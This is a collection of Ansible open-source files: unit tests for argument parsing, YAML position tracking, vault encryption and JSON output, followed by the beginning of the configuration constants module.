        self._debug(mod, args, to)
        self.assertEqual(mod, 'copy')
        self.assertEqual(args, dict(src='a', dest='b'))
        self.assertIsNone(to)

    def test_action_with_complex(self):
        m = ModuleArgsParser(dict(action=dict(module='copy', src='a', dest='b')))
        mod, args, to = m.parse()
        self._debug(mod, args, to)
        self.assertEqual(mod, 'copy')
        self.assertEqual(args, dict(src='a', dest='b'))
        self.assertIsNone(to)

    def test_action_with_complex_and_complex_args(self):
        m = ModuleArgsParser(dict(action=dict(module='copy', args=dict(src='a', dest='b'))))
        mod, args, to = m.parse()
        self._debug(mod, args, to)
        self.assertEqual(mod, 'copy')
        self.assertEqual(args, dict(src='a', dest='b'))
        self.assertIsNone(to)

    def test_local_action_string(self):
        m = ModuleArgsParser(dict(local_action='copy src=a dest=b'))
        mod, args, delegate_to = m.parse()
        self._debug(mod, args, delegate_to)
        self.assertEqual(mod, 'copy')
        self.assertEqual(args, dict(src='a', dest='b'))
        self.assertIs(delegate_to, 'localhost')

    def test_multiple_actions(self):
        m = ModuleArgsParser(dict(action='shell echo hi', local_action='shell echo hi'))
        self.assertRaises(AnsibleParserError, m.parse)

        m = ModuleArgsParser(dict(action='shell echo hi', shell='echo hi'))
        self.assertRaises(AnsibleParserError, m.parse)

        m = ModuleArgsParser(dict(local_action='shell echo hi', shell='echo hi'))
        self.assertRaises(AnsibleParserError, m.parse)

        m = ModuleArgsParser(dict(ping='data=hi', shell='echo hi'))
        self.assertRaises(AnsibleParserError, m.parse)







# coding: utf-8
# (c) 2015, Toshio Kuratomi <tkuratomi@ansible.com>
#
# This file is part of Ansible
#
# Ansible is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
#
# Ansible is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with Ansible.  If not, see <http://www.gnu.org/licenses/>.

# Make coding more python3-ish
from __future__ import (absolute_import, division, print_function)
__metaclass__ = type

from io import StringIO

from six import text_type, binary_type
from collections import Sequence, Set, Mapping

from ansible.compat.tests import unittest
from ansible.compat.tests.mock import patch

from ansible.parsing.yaml.loader import AnsibleLoader

try:
    from _yaml import ParserError
except ImportError:
    from yaml.parser import ParserError


class NameStringIO(StringIO):
    """In py2.6, StringIO doesn't let you set name because a baseclass has it
    as readonly property"""
    name = None
    def __init__(self, *args, **kwargs):
        super(NameStringIO, self).__init__(*args, **kwargs)

class TestAnsibleLoaderBasic(unittest.TestCase):

    def setUp(self):
        pass

    def tearDown(self):
        pass

    def test_parse_number(self):
        stream = StringIO(u"""
                1
                """)
        loader = AnsibleLoader(stream, 'myfile.yml')
        data = loader.get_single_data()
        self.assertEqual(data, 1)
        # No line/column info saved yet

    def test_parse_string(self):
        stream = StringIO(u"""
                Ansible
                """)
        loader = AnsibleLoader(stream, 'myfile.yml')
        data = loader.get_single_data()
        self.assertEqual(data, u'Ansible')
        self.assertIsInstance(data, text_type)

        self.assertEqual(data.ansible_pos, ('myfile.yml', 2, 17))

    def test_parse_utf8_string(self):
        stream = StringIO(u"""
                Cafè Eñyei
                """)
        loader = AnsibleLoader(stream, 'myfile.yml')
        data = loader.get_single_data()
        self.assertEqual(data, u'Cafè Eñyei')
        self.assertIsInstance(data, text_type)

        self.assertEqual(data.ansible_pos, ('myfile.yml', 2, 17))

    def test_parse_dict(self):
        stream = StringIO(u"""
                webster: daniel
                oed: oxford
                """)
        loader = AnsibleLoader(stream, 'myfile.yml')
        data = loader.get_single_data()
        self.assertEqual(data, {'webster': 'daniel', 'oed': 'oxford'})
        self.assertEqual(len(data), 2)
        self.assertIsInstance(list(data.keys())[0], text_type)
        self.assertIsInstance(list(data.values())[0], text_type)

        # Beginning of the first key
        self.assertEqual(data.ansible_pos, ('myfile.yml', 2, 17))

        self.assertEqual(data[u'webster'].ansible_pos, ('myfile.yml', 2, 26))
        self.assertEqual(data[u'oed'].ansible_pos, ('myfile.yml', 3, 22))

    def test_parse_list(self):
        stream = StringIO(u"""
                - a
                - b
                """)
        loader = AnsibleLoader(stream, 'myfile.yml')
        data = loader.get_single_data()
        self.assertEqual(data, [u'a', u'b'])
        self.assertEqual(len(data), 2)
        self.assertIsInstance(data[0], text_type)

        self.assertEqual(data.ansible_pos, ('myfile.yml', 2, 17))

        self.assertEqual(data[0].ansible_pos, ('myfile.yml', 2, 19))
        self.assertEqual(data[1].ansible_pos, ('myfile.yml', 3, 19))

    def test_parse_short_dict(self):
        stream = StringIO(u"""{"foo": "bar"}""")
        loader = AnsibleLoader(stream, 'myfile.yml')
        data = loader.get_single_data()
        self.assertEqual(data, dict(foo=u'bar'))

        self.assertEqual(data.ansible_pos, ('myfile.yml', 1, 1))
        self.assertEqual(data[u'foo'].ansible_pos, ('myfile.yml', 1, 9))

        stream = StringIO(u"""foo: bar""")
        loader = AnsibleLoader(stream, 'myfile.yml')
        data = loader.get_single_data()
        self.assertEqual(data, dict(foo=u'bar'))

        self.assertEqual(data.ansible_pos, ('myfile.yml', 1, 1))
        self.assertEqual(data[u'foo'].ansible_pos, ('myfile.yml', 1, 6))

    def test_error_conditions(self):
        stream = StringIO(u"""{""")
        loader = AnsibleLoader(stream, 'myfile.yml')
        self.assertRaises(ParserError, loader.get_single_data)

    def test_front_matter(self):
        stream = StringIO(u"""---\nfoo: bar""")
        loader = AnsibleLoader(stream, 'myfile.yml')
        data = loader.get_single_data()
        self.assertEqual(data, dict(foo=u'bar'))

        self.assertEqual(data.ansible_pos, ('myfile.yml', 2, 1))
        self.assertEqual(data[u'foo'].ansible_pos, ('myfile.yml', 2, 6))

        # Initial indent (See: #6348)
        stream = StringIO(u""" - foo: bar\n   baz: qux""")
        loader = AnsibleLoader(stream, 'myfile.yml')
        data = loader.get_single_data()
        self.assertEqual(data, [{u'foo': u'bar', u'baz': u'qux'}])

        self.assertEqual(data.ansible_pos, ('myfile.yml', 1, 2))
        self.assertEqual(data[0].ansible_pos, ('myfile.yml', 1, 4))
        self.assertEqual(data[0][u'foo'].ansible_pos, ('myfile.yml', 1, 9))
        self.assertEqual(data[0][u'baz'].ansible_pos, ('myfile.yml', 2, 9))


class TestAnsibleLoaderPlay(unittest.TestCase):

    def setUp(self):
        stream = NameStringIO(u"""
                - hosts: localhost
                  vars:
                    number: 1
                    string: Ansible
                    utf8_string: Cafè Eñyei
                    dictionary:
                      webster: daniel
                      oed: oxford
                    list:
                      - a
                      - b
                      - 1
                      - 2
                  tasks:
                    - name: Test case
                      ping:
                        data: "{{ utf8_string }}"

                    - name: Test 2
                      ping:
                        data: "Cafè Eñyei"

                    - name: Test 3
                      command: "printf 'Cafè Eñyei\\n'"
                """)
        self.play_filename = '/path/to/myplay.yml'
        stream.name = self.play_filename
        self.loader = AnsibleLoader(stream)
        self.data = self.loader.get_single_data()

    def tearDown(self):
        pass

    def test_data_complete(self):
        self.assertEqual(len(self.data), 1)
        self.assertIsInstance(self.data, list)
        self.assertEqual(frozenset(self.data[0].keys()), frozenset((u'hosts', u'vars', u'tasks')))

        self.assertEqual(self.data[0][u'hosts'], u'localhost')

        self.assertEqual(self.data[0][u'vars'][u'number'], 1)
        self.assertEqual(self.data[0][u'vars'][u'string'], u'Ansible')
        self.assertEqual(self.data[0][u'vars'][u'utf8_string'], u'Cafè Eñyei')
        self.assertEqual(self.data[0][u'vars'][u'dictionary'],
                {u'webster': u'daniel',
                    u'oed': u'oxford'})
        self.assertEqual(self.data[0][u'vars'][u'list'], [u'a', u'b', 1, 2])

        self.assertEqual(self.data[0][u'tasks'],
                [{u'name': u'Test case', u'ping': {u'data': u'{{ utf8_string }}'}},
                 {u'name': u'Test 2', u'ping': {u'data': u'Cafè Eñyei'}},
                 {u'name': u'Test 3', u'command': u'printf \'Cafè Eñyei\n\''},
                 ])

    def walk(self, data):
        # Make sure there's no str in the data
        self.assertNotIsInstance(data, binary_type)

        # Descend into various container types
        if isinstance(data, text_type):
            # strings are a sequence so we have to be explicit here
            return
        elif isinstance(data, (Sequence, Set)):
            for element in data:
                self.walk(element)
        elif isinstance(data, Mapping):
            for k, v in data.items():
                self.walk(k)
                self.walk(v)

        # Scalars were all checked so we're good to go
        return

    def test_no_str_in_data(self):
        # Checks that no strings are str type
        self.walk(self.data)

    def check_vars(self):
        # Numbers don't have line/col information yet
        #self.assertEqual(self.data[0][u'vars'][u'number'].ansible_pos, (self.play_filename, 4, 21))

        self.assertEqual(self.data[0][u'vars'][u'string'].ansible_pos, (self.play_filename, 5, 29))
        self.assertEqual(self.data[0][u'vars'][u'utf8_string'].ansible_pos, (self.play_filename, 6, 34))

        self.assertEqual(self.data[0][u'vars'][u'dictionary'].ansible_pos, (self.play_filename, 8, 23))
        self.assertEqual(self.data[0][u'vars'][u'dictionary'][u'webster'].ansible_pos, (self.play_filename, 8, 32))
        self.assertEqual(self.data[0][u'vars'][u'dictionary'][u'oed'].ansible_pos, (self.play_filename, 9, 28))

        self.assertEqual(self.data[0][u'vars'][u'list'].ansible_pos, (self.play_filename, 11, 23))
        self.assertEqual(self.data[0][u'vars'][u'list'][0].ansible_pos, (self.play_filename, 11, 25))
        self.assertEqual(self.data[0][u'vars'][u'list'][1].ansible_pos, (self.play_filename, 12, 25))
        # Numbers don't have line/col info yet
        #self.assertEqual(self.data[0][u'vars'][u'list'][2].ansible_pos, (self.play_filename, 13, 25))
        #self.assertEqual(self.data[0][u'vars'][u'list'][3].ansible_pos, (self.play_filename, 14, 25))

    def check_tasks(self):
        #
        # First Task
        #
        self.assertEqual(self.data[0][u'tasks'][0].ansible_pos, (self.play_filename, 16, 23))
        self.assertEqual(self.data[0][u'tasks'][0][u'name'].ansible_pos, (self.play_filename, 16, 29))
        self.assertEqual(self.data[0][u'tasks'][0][u'ping'].ansible_pos, (self.play_filename, 18, 25))
        self.assertEqual(self.data[0][u'tasks'][0][u'ping'][u'data'].ansible_pos, (self.play_filename, 18, 31))

        #
        # Second Task
        #
        self.assertEqual(self.data[0][u'tasks'][1].ansible_pos, (self.play_filename, 20, 23))
        self.assertEqual(self.data[0][u'tasks'][1][u'name'].ansible_pos, (self.play_filename, 20, 29))
        self.assertEqual(self.data[0][u'tasks'][1][u'ping'].ansible_pos, (self.play_filename, 22, 25))
        self.assertEqual(self.data[0][u'tasks'][1][u'ping'][u'data'].ansible_pos, (self.play_filename, 22, 31))

        #
        # Third Task
        #
        self.assertEqual(self.data[0][u'tasks'][2].ansible_pos, (self.play_filename, 24, 23))
        self.assertEqual(self.data[0][u'tasks'][2][u'name'].ansible_pos, (self.play_filename, 24, 29))
        self.assertEqual(self.data[0][u'tasks'][2][u'command'].ansible_pos, (self.play_filename, 25, 32))

    def test_line_numbers(self):
        # Check the line/column numbers are correct
        # Note: Remember, currently dicts begin at the start of their first entry
        self.assertEqual(self.data[0].ansible_pos, (self.play_filename, 2, 19))
        self.assertEqual(self.data[0][u'hosts'].ansible_pos, (self.play_filename, 2, 26))
        self.assertEqual(self.data[0][u'vars'].ansible_pos, (self.play_filename, 4, 21))

        self.check_vars()

        self.assertEqual(self.data[0][u'tasks'].ansible_pos, (self.play_filename, 16, 21))

        self.check_tasks()












# (c) 2014, James Tanner <tanner.jc@gmail.com>
# (c) 2014, James Cammarata, <jcammarata@ansible.com>
#
# This file is part of Ansible
#
# Ansible is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
#
# Ansible is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with Ansible.  If not, see <http://www.gnu.org/licenses/>.

# Make coding more python3-ish
from __future__ import (absolute_import, division, print_function)
__metaclass__ = type
#!/usr/bin/env python

import sys
import getpass
import os
import shutil
import time
import tempfile
from binascii import unhexlify
from binascii import hexlify
from nose.plugins.skip import SkipTest

from ansible.compat.tests import unittest
from ansible.compat.tests.mock import patch
from ansible.utils.unicode import to_bytes, to_unicode

from ansible import errors
from ansible.parsing.vault import VaultLib
from ansible.parsing.vault import VaultEditor

# Counter import fails for 2.0.1, requires >= 2.6.1 from pip
try:
    from Crypto.Util import Counter
    HAS_COUNTER = True
except ImportError:
    HAS_COUNTER = False

# KDF import fails for 2.0.1, requires >= 2.6.1 from pip
try:
    from Crypto.Protocol.KDF import PBKDF2
    HAS_PBKDF2 = True
except ImportError:
    HAS_PBKDF2 = False

# AES IMPORTS
try:
    from Crypto.Cipher import AES as AES
    HAS_AES = True
except ImportError:
    HAS_AES = False

v10_data = """$ANSIBLE_VAULT;1.0;AES
53616c7465645f5fd0026926a2d415a28a2622116273fbc90e377225c12a347e1daf4456d36a77f9
9ad98d59f61d06a4b66718d855f16fb7bdfe54d1ec8aeaa4d06c2dc1fa630ae1846a029877f0eeb1
83c62ffb04c2512995e815de4b4d29ed"""

v11_data = """$ANSIBLE_VAULT;1.1;AES256
62303130653266653331306264616235333735323636616539316433666463323964623162386137
3961616263373033353631316333623566303532663065310a393036623466376263393961326530
64336561613965383835646464623865663966323464653236343638373165343863623638316664
3631633031323837340a396530313963373030343933616133393566366137363761373930663833
3739"""

class TestVaultEditor(unittest.TestCase):

    def setUp(self):
        pass

    def tearDown(self):
        pass

    def test_methods_exist(self):
        v = VaultEditor(None)
        slots = ['create_file',
                 'decrypt_file',
                 'edit_file',
                 'encrypt_file',
                 'rekey_file',
                 'read_data',
                 'write_data',
                 'shuffle_files']
        for slot in slots:
            assert hasattr(v, slot), "VaultLib is missing the %s method" % slot

    @patch.object(VaultEditor, '_editor_shell_command')
    def test_create_file(self, mock_editor_shell_command):

        def sc_side_effect(filename):
            return ['touch', filename]
        mock_editor_shell_command.side_effect = sc_side_effect

        tmp_file = tempfile.NamedTemporaryFile()
        os.unlink(tmp_file.name)

        ve = VaultEditor("ansible")
        ve.create_file(tmp_file.name)

        self.assertTrue(os.path.exists(tmp_file.name))

    def test_decrypt_1_0(self):
        """
        Skip testing decrypting 1.0 files if we don't have access to AES, KDF or
        Counter, or we are running on python3 since VaultAES hasn't been backported.
        """
        if not HAS_AES or not HAS_COUNTER or not HAS_PBKDF2 or sys.version > '3':
            raise SkipTest

        v10_file = tempfile.NamedTemporaryFile(delete=False)
        with v10_file as f:
            f.write(to_bytes(v10_data))

        ve = VaultEditor("ansible")

        # make sure the password functions for the cipher
        error_hit = False
        try:
            ve.decrypt_file(v10_file.name)
        except errors.AnsibleError as e:
            error_hit = True

        # verify decrypted content
        f = open(v10_file.name, "rb")
        fdata = to_unicode(f.read())
        f.close()

        os.unlink(v10_file.name)

        assert error_hit == False, "error decrypting 1.0 file"
        assert fdata.strip() == "foo", "incorrect decryption of 1.0 file: %s" % fdata.strip()


    def test_decrypt_1_1(self):
        if not HAS_AES or not HAS_COUNTER or not HAS_PBKDF2:
            raise SkipTest

        v11_file = tempfile.NamedTemporaryFile(delete=False)
        with v11_file as f:
            f.write(to_bytes(v11_data))

        ve = VaultEditor("ansible")

        # make sure the password functions for the cipher
        error_hit = False
        try:
            ve.decrypt_file(v11_file.name)
        except errors.AnsibleError as e:
            error_hit = True

        # verify decrypted content
        f = open(v11_file.name, "rb")
        fdata = to_unicode(f.read())
        f.close()

        os.unlink(v11_file.name)

        assert error_hit == False, "error decrypting 1.0 file"
        assert fdata.strip() == "foo", "incorrect decryption of 1.0 file: %s" % fdata.strip()


    def test_rekey_migration(self):
        """
        Skip testing rekeying files if we don't have access to AES, KDF or
        Counter, or we are running on python3 since VaultAES hasn't been backported.
        """
        if not HAS_AES or not HAS_COUNTER or not HAS_PBKDF2 or sys.version > '3':
            raise SkipTest

        v10_file = tempfile.NamedTemporaryFile(delete=False)
        with v10_file as f:
            f.write(to_bytes(v10_data))

        ve = VaultEditor("ansible")

        # make sure the password functions for the cipher
        error_hit = False
        try:
            ve.rekey_file(v10_file.name, 'ansible2')
        except errors.AnsibleError as e:
            error_hit = True

        # verify decrypted content
        f = open(v10_file.name, "rb")
        fdata = f.read()
        f.close()

        assert error_hit == False, "error rekeying 1.0 file to 1.1"

        # ensure filedata can be decrypted, is 1.1 and is AES256
        vl = VaultLib("ansible2")
        dec_data = None
        error_hit = False
        try:
            dec_data = vl.decrypt(fdata)
        except errors.AnsibleError as e:
            error_hit = True

        os.unlink(v10_file.name)

        assert vl.cipher_name == "AES256", "wrong cipher name set after rekey: %s" % vl.cipher_name
        assert error_hit == False, "error decrypting migrated 1.0 file"
        assert dec_data.strip() == "foo", "incorrect decryption of rekeyed/migrated file: %s" % dec_data








# (c) 2012-2014, Michael DeHaan <michael.dehaan@gmail.com>
#
# This file is part of Ansible
#
# Ansible is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
#
# Ansible is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with Ansible.  If not, see <http://www.gnu.org/licenses/>.

# Make coding more python3-ish
from __future__ import (absolute_import, division, print_function)
__metaclass__ = type

import getpass
import os
import shutil
import time
import tempfile
import six

from binascii import unhexlify
from binascii import hexlify
from nose.plugins.skip import SkipTest

from ansible.compat.tests import unittest
from ansible.utils.unicode import to_bytes, to_unicode

from ansible import errors
from ansible.parsing.vault import VaultLib

# Counter import fails for 2.0.1, requires >= 2.6.1 from pip
try:
    from Crypto.Util import Counter
    HAS_COUNTER = True
except ImportError:
    HAS_COUNTER = False

# KDF import fails for 2.0.1, requires >= 2.6.1 from pip
try:
    from Crypto.Protocol.KDF import PBKDF2
    HAS_PBKDF2 = True
except ImportError:
    HAS_PBKDF2 = False

# AES IMPORTS
try:
    from Crypto.Cipher import AES as AES
    HAS_AES = True
except ImportError:
    HAS_AES = False

class TestVaultLib(unittest.TestCase):

    def test_methods_exist(self):
        v = VaultLib('ansible')
        slots = ['is_encrypted',
                 'encrypt',
                 'decrypt',
                 '_format_output',
                 '_split_header',]
        for slot in slots:
            assert hasattr(v, slot), "VaultLib is missing the %s method" % slot

    def test_is_encrypted(self):
        v = VaultLib(None)
        assert not v.is_encrypted(u"foobar"), "encryption check on plaintext failed"
        data = u"$ANSIBLE_VAULT;9.9;TEST\n%s" % hexlify(b"ansible")
        assert v.is_encrypted(data), "encryption check on headered text failed"

    def test_format_output(self):
        v = VaultLib('ansible')
        v.cipher_name = "TEST"
        sensitive_data = b"ansible"
        data = v._format_output(sensitive_data)
        lines = data.split(b'\n')
        assert len(lines) > 1, "failed to properly add header"
        header = to_bytes(lines[0])
        assert header.endswith(b';TEST'), "header does end with cipher name"
        header_parts = header.split(b';')
        assert len(header_parts) == 3, "header has the wrong number of parts"
        assert header_parts[0] == b'$ANSIBLE_VAULT', "header does not start with $ANSIBLE_VAULT"
        assert header_parts[1] == v.b_version, "header version is incorrect"
        assert header_parts[2] == b'TEST', "header does end with cipher name"

    def test_split_header(self):
        v = VaultLib('ansible')
        data = b"$ANSIBLE_VAULT;9.9;TEST\nansible"
        rdata = v._split_header(data)
        lines = rdata.split(b'\n')
        assert lines[0] == b"ansible"
        assert v.cipher_name == 'TEST', "cipher name was not set"
        assert v.b_version == b"9.9"

    def test_encrypt_decrypt_aes(self):
        if not HAS_AES or not HAS_COUNTER or not HAS_PBKDF2:
            raise SkipTest
        v = VaultLib('ansible')
        v.cipher_name = u'AES'
        # AES encryption code has been removed, so this is old output for
        # AES-encrypted 'foobar' with password 'ansible'.
        enc_data = b'$ANSIBLE_VAULT;1.1;AES\n53616c7465645f5fc107ce1ef4d7b455e038a13b053225776458052f8f8f332d554809d3f150bfa3\nfe3db930508b65e0ff5947e4386b79af8ab094017629590ef6ba486814cf70f8e4ab0ed0c7d2587e\n786a5a15efeb787e1958cbdd480d076c\n'
        dec_data = v.decrypt(enc_data)
        assert dec_data == b"foobar", "decryption failed"

    def test_encrypt_decrypt_aes256(self):
        if not HAS_AES or not HAS_COUNTER or not HAS_PBKDF2:
            raise SkipTest
        v = VaultLib('ansible')
        v.cipher_name = 'AES256'
        enc_data = v.encrypt(b"foobar")
        dec_data = v.decrypt(enc_data)
        assert enc_data != b"foobar", "encryption failed"
        assert dec_data == b"foobar", "decryption failed"

    def test_encrypt_encrypted(self):
        if not HAS_AES or not HAS_COUNTER or not HAS_PBKDF2:
            raise SkipTest
        v = VaultLib('ansible')
        v.cipher_name = 'AES'
        data = "$ANSIBLE_VAULT;9.9;TEST\n%s" % hexlify(six.b("ansible"))
        error_hit = False
        try:
            enc_data = v.encrypt(data)
        except errors.AnsibleError as e:
            error_hit = True
        assert error_hit, "No error was thrown when trying to encrypt data with a header"

    def test_decrypt_decrypted(self):
        if not HAS_AES or not HAS_COUNTER or not HAS_PBKDF2:
            raise SkipTest
        v = VaultLib('ansible')
        data = "ansible"
        error_hit = False
        try:
            dec_data = v.decrypt(data)
        except errors.AnsibleError as e:
            error_hit = True
        assert error_hit, "No error was thrown when trying to decrypt data without a header"

    def test_cipher_not_set(self):
        # not setting the cipher should default to AES256
        if not HAS_AES or not HAS_COUNTER or not HAS_PBKDF2:
            raise SkipTest
        v = VaultLib('ansible')
        data = "ansible"
        error_hit = False
        try:
            enc_data = v.encrypt(data)
        except errors.AnsibleError as e:
            error_hit = True
        assert not error_hit, "An error was thrown when trying to encrypt data without the cipher set"
        assert v.cipher_name == "AES256", "cipher name is not set to AES256: %s" % v.cipher_name






# (c) 2012-2014, Michael DeHaan <michael.dehaan@gmail.com>
#
# This file is part of Ansible
#
# Ansible is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
#
# Ansible is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with Ansible.  If not, see <http://www.gnu.org/licenses/>.

# Make coding more python3-ish
from __future__ import (absolute_import, division, print_function)
__metaclass__ = type







#!/usr/bin/python
# -*- coding: utf-8 -*-
# (c) 2016, James Cammarata <jimi@sngx.net>
#
# This file is part of Ansible
#
# Ansible is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
#
# Ansible is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with Ansible.  If not, see <http://www.gnu.org/licenses/>.

from __future__ import (absolute_import, division, print_function)
__metaclass__ = type

from ansible.compat.tests import unittest
from ansible.parsing.utils.jsonify import jsonify

class TestJsonify(unittest.TestCase):
    def test_jsonify_simple(self):
        self.assertEqual(jsonify(dict(a=1, b=2, c=3)), '{"a": 1, "b": 2, "c": 3}')

    def test_jsonify_simple_format(self):
        res = jsonify(dict(a=1, b=2, c=3), format=True)
        cleaned = "".join([x.strip() for x in res.splitlines()])
        self.assertEqual(cleaned, '{"a": 1,"b": 2,"c": 3}')

    def test_jsonify_unicode(self):
        self.assertEqual(jsonify(dict(toshio=u'くらとみ')), u'{"toshio": "くらとみ"}')

    def test_jsonify_empty(self):
        self.assertEqual(jsonify(None), '{}')






# (c) 2016, James Cammarata <jimi@sngx.net>
#
# This file is part of Ansible
#
# Ansible is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
#
# Ansible is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with Ansible.  If not, see <http://www.gnu.org/licenses/>.

# Make coding more python3-ish
from __future__ import (absolute_import, division, print_function)
__metaclass__ = type







# (c) 2012-2014, Michael DeHaan <michael.dehaan@gmail.com>
#
# This file is part of Ansible
#
# Ansible is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
#
# Ansible is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with Ansible.  If not, see <http://www.gnu.org/licenses/>.

# Make coding more python3-ish
from __future__ import (absolute_import, division, print_function)
__metaclass__ = type

import os
import tempfile
from string import ascii_letters, digits

from ansible.compat.six import string_types
from ansible.compat.six.moves import configparser

from ansible.parsing.quoting import unquote
from ansible.errors import AnsibleOptionsError
from ansible.utils.path import makedirs_safe

BOOL_TRUE = frozenset([ "true", "t", "y", "1", "yes", "on" ])

# copied from utils, avoid circular reference fun :)
def mk_boolean(value):
    if value is None:
        return False
    val = str(value)
    if val.lower() in BOOL_TRUE:
        return True
    else:
        return False

def shell_expand(path, expand_relative_paths=False):
    '''
    shell_expand is needed as os.path.expanduser does not work
    when path is None, which is the default for ANSIBLE_PRIVATE_KEY_FILE
    '''
    if path:
        path = os.path.expanduser(os.path.expandvars(path))
        if expand_relative_paths and not path.startswith('/'):
            # paths are always 'relative' to the config?
            if 'CONFIG_FILE' in globals():
                CFGDIR = os.path.dirname(CONFIG_FILE)
                path = os.path.join(CFGDIR, path)
            path = os.path.abspath(path)
    return path

def get_config(p, section, key, env_var, default, boolean=False, integer=False, floating=False, islist=False, isnone=False, ispath=False, ispathlist=False, istmppath=False, expand_relative_paths=False):
    ''' return a configuration variable with casting '''
    value = _get_config(p, section, key, env_var, default)
    if boolean:
        value = mk_boolean(value)
    if value:
        if integer:
            value = int(value)
        elif floating:
            value = float(value)
        elif islist:
            if isinstance(value, string_types):
                value = [x.strip() for x in value.split(',')]
        elif isnone:
            if value == "None":
                value = None
        elif ispath:
            value = shell_expand(value)
        elif istmppath:
            value = shell_expand(value)
            if not os.path.exists(value):
                makedirs_safe(value, 0o700)
            prefix = 'ansible-local-%s' % os.getpid()
            value = tempfile.mkdtemp(prefix=prefix, dir=value)
        elif ispathlist:
            if isinstance(value, string_types):
                value = [shell_expand(x, expand_relative_paths=expand_relative_paths) \
                         for x in value.split(os.pathsep)]
        elif isinstance(value, string_types):
            value = unquote(value)
    return value

def _get_config(p, section, key, env_var, default):
    ''' helper function for get_config '''
    if env_var is not None:
        value = os.environ.get(env_var, None)
        if value is not None:
            return value
    if p is not None:
        try:
            return p.get(section, key, raw=True)
        except:
            return default
    return default

def load_config_file():
    ''' Load Config File order(first found is used): ENV, CWD, HOME, /etc/ansible '''

    p = configparser.ConfigParser()

    path0 = os.getenv("ANSIBLE_CONFIG", None)
    if path0 is not None:
        path0 = os.path.expanduser(path0)
        if os.path.isdir(path0):
            path0 += "/ansible.cfg"
    path1 = os.getcwd() + "/ansible.cfg"
    path2 = os.path.expanduser("~/.ansible.cfg")
    path3 = "/etc/ansible/ansible.cfg"

    for path in [path0, path1, path2, path3]:
        if path is not None and os.path.exists(path):
            try:
                p.read(path)
            except configparser.Error as e:
                raise AnsibleOptionsError("Error reading config file: \n{0}".format(e))
            return p, path
    return None, ''

p, CONFIG_FILE = load_config_file()

# check all of these extensions when looking for yaml files for things like
# group variables -- really anything we can load
YAML_FILENAME_EXTENSIONS = [ "", ".yml", ".yaml", ".json" ]

# the default whitelist for cow stencils
DEFAULT_COW_WHITELIST = ['bud-frogs', 'bunny', 'cheese', 'daemon', 'default', 'dragon', 'elephant-in-snake', 'elephant',
                         'eyes', 'hellokitty', 'kitty', 'luke-koala', 'meow', 'milk', 'moofasa', 'moose', 'ren', 'sheep',
                         'small', 'stegosaurus', 'stimpy', 'supermilker', 'three-eyes', 'turkey', 'turtle', 'tux', 'udder',
                         'vader-koala', 'vader', 'www',]

# sections in config file
DEFAULTS='defaults'

# FIXME: add deprecation warning when these get set
#### DEPRECATED VARS #### 
# use more sanely named 'inventory'
DEPRECATED_HOST_LIST  = get_config(p, DEFAULTS, 'hostfile', 'ANSIBLE_HOSTS', '/etc/ansible/hosts', ispath=True)
# this is not used since 0.5 but people might still have in config
DEFAULT_PATTERN           = get_config(p, DEFAULTS, 'pattern', None, None)

#### GENERALLY CONFIGURABLE THINGS ####
DEFAULT_DEBUG             = get_config(p, DEFAULTS, 'debug',            'ANSIBLE_DEBUG',            False, boolean=True)
DEFAULT_HOST_LIST         = get_config(p, DEFAULTS,'inventory', 'ANSIBLE_INVENTORY', DEPRECATED_HOST_LIST, ispath=True)
DEFAULT_MODULE_PATH       = get_config(p, DEFAULTS, 'library',          'ANSIBLE_LIBRARY',          None, ispathlist=True)
DEFAULT_ROLES_PATH        = get_config(p, DEFAULTS, 'roles_path',       'ANSIBLE_ROLES_PATH',       '/etc/ansible/roles', ispathlist=True, expand_relative_paths=True)
DEFAULT_REMOTE_TMP        = get_config(p, DEFAULTS, 'remote_tmp',       'ANSIBLE_REMOTE_TEMP',      '$HOME/.ansible/tmp')
DEFAULT_LOCAL_TMP         = get_config(p, DEFAULTS, 'local_tmp',        'ANSIBLE_LOCAL_TEMP',      '$HOME/.ansible/tmp', istmppath=True)
DEFAULT_MODULE_NAME       = get_config(p, DEFAULTS, 'module_name',      None,                       'command')
